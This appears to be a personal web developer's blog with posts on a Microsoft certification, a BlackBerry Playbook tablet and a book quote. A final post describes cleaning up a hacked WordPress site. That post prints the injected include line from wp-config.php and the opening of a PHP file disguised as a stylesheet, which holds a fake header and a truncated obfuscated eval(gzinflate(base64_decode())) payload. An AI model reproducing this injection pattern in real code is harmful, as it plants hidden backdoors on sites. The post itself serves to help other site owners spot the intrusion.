I’ve been certified

It’s been a good week, for several reasons. One of them is that I passed a Microsoft exam: Developing web apps in .Net 4. That means I am now (drum roll) a Microsoft Certified Technology Specialist. I’ve been building websites for 14 years, give or take, so it’s about time I had some kind of qualification in it.

This is, to put it bluntly, an unexpected turn of events. For much of my career I’ve treated the Microsoft-based things I do in my day job as “just” work, and my real passion has been the Open Source web development I’ve done in my own time. When those two worlds collide, which they do occassionally, it always feels a bit strange. The most obvious example of my day job and personal work coming together is my Performer JavaScript library, which I use on every project I can.

So why the dismissal of Microsoft web technologies for so long? I guess it’s because, for much of the lifetime of ASP.NET, they just haven’t been very good. ASP.NET fundamentally ignored the way the web was designed to work for a long time (I’m talking ViewState and WebForms) but I have to admit it also introduced many fantastic features as well. Templated controls and MasterPages are just brilliant. For this and more of the good stuff refer to my articles on Nettuts.

But now, well, things have changed. ASP.NET MVC is a cracking bit of kit, and Microsoft’s embrace of Open Source – particularly jQuery – has changed many opinions about the Redmond behemoth. Plus the fact that finally we’re beginning to see versions of Internet Explorer that don’t suck. Although much of the industry press is still about open technologies, like WordPress, JavaScript and RoR, it no longer feels faintly embarrasing to me to be a Microsoft developer. Yes, thing’s have certainly changed.

So here’s to the future. A future where all companies, technologies and platforms can work towards making the web more open, accessible and useful in people’s lives.

Take two, twice a day

I’ve now had a BlackBerry Playbook for a little over four weeks, and it’s been an interesting ride. This is my first tablet and, to be honest, I wasn’t sure how much I’d use it. Like many geeks and their toys it was the getting that motivated me, not necessarily the having. Selfish, I know.

OK, so what have I used it for? Instant access to GMail and Twitter has enabled me to be more wired than before, although I’m not sure I (or my wife) would consider that a good thing. I’ve also been able to check the weather easily, and with the snow we’ve had recently that is definitely a good thing.

It’s kept my young son entertained, a big scratch on the screen is proof of that. My wife and I have also had our very own Book At Bedtime as we listened to a downloaded audiobook. And, of course, I’ve been able to test and research responsive websites. All in all I love it.

There are downsides. Battery life isn’t amazing, and the keyboard is difficult to use for anything more than a few sentences, especially as accessing special characters requires flipping to a different keyboard view. This slows me down as I’m a stickler for correct spelling and punctuation; l33t-speak gr8s on me. I’ve also found no decent development apps, but that’s not surprising and certainly isn’t a deal-breaker.

The real power of tablets is instant access to a decent sized screen, almost zero start-up times and very quick loading for apps. That means the technology gets out of the way and you get to the content you want quicker. Interestingly a friend said this week that he’s using his iPad less since he upgraded his PC with a solid state drive, and boot-up takes 4 seconds. Laptops aren’t as handy as tablets, but they do benefit from a proper keyboard and bigger screen. I guess that’s the niche netbooks are trying to fill.

Using a touch-screen device a lot has also given me a greater appreciation for how apps need to be written to cope with touch inputs. It’s also shown me that a whole new breed of apps is possible, and challeged me to think about how to respond to this new world in my own software development.

So, it’s been an interesting experience. I doubt I’ll ever do without a tablet again, at least until the next device revolution comes along.

P.S. This post was written partly in the car, partly in a cafe, on my Playbook. Who knows, I might even start blogging more often.

Having a dream

I’ve been reading a book recently called “Gallant Women” which is a collection of stories of inspiring women and girls. Printed by the National Sunday School Union in the 1930’s it’s all a bit jolly-hockey-sticks, but entertaining all the same.

A quote in the story of Mary Jones particularly struck me:

But what is the good of a dream if it is concerned only with everyday and easy thing! A dream worth having is one which will take all your persistence and all your resources, and then need almost a miracle to be added, if it is ever to come true.

WordPress White Screen of Death Woes

Damn. Just had to fix a problem on wibsite.com where nobody could see their Dashboards. There are lots of references to the White Screen of Death in WP, but none made a difference. In the end I spotted a cheeky line that had been inserted in my wp-config.php:

@require_once('../Maildir/tmp/style.css');

Whaddyaknow, that file was there, but it definitely wasn’t a CSS stylesheet:

<?php

/* ********************************************************************
*
* begin : Saturday, Feb 23, 2009
* copyright : (C) 2001 The Sequare Group
* email : support@sequare.com
*
* $Id: system,v 1.74.2.22 2005/12/30 09:51:01 acydburn Exp $
* Type - System configuration file
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2006 Bharat Mediratta

And the actual code was:

eval (gzinflate(base64_decode(
'pf1rs2XHcSQKfm6Z6T9UY2gDwBoq5vvRFCTxUpBEM4nUgNTtuUNqYCXgkCwTgEIX'
.'CiLZov777JXx8swVR7xto26SQJ5z9l6PfER4eLj/5V/8+V9+85tv/vRP/vRPvveb'
.'N9+++/h7n/3sk0//z08+/cX7f/fzn//jZ3/305/9/P1//sHjp69+/fT17cf/9Pi3'
.'z374t5/8hH/p+oj44uMX3757+9nbp2++fPX50wfv/fa3v3353kfvvffR+vGH+nsf'
.'f/VF/YD+cQ1+8frtx+/evv7qA/zr96+/fv+j99//yL2ylzb66Sf/r3/65Gc//+yf'
.'Pv3x+//8oX7i+pLHP1wDLx7/971vn97+29Pbz159/vnTN+8++/LV17/+7nFvj4v+'

Etc. Eval’d PHP? Looks like a hack to me. Removing the line from my wp-config.php file got everything back to normal. Now I’m hardening my WP, making it tougher than old boots.

If you get the White Screen of Death look carefully through your wp-config.php file for unwanted visitors.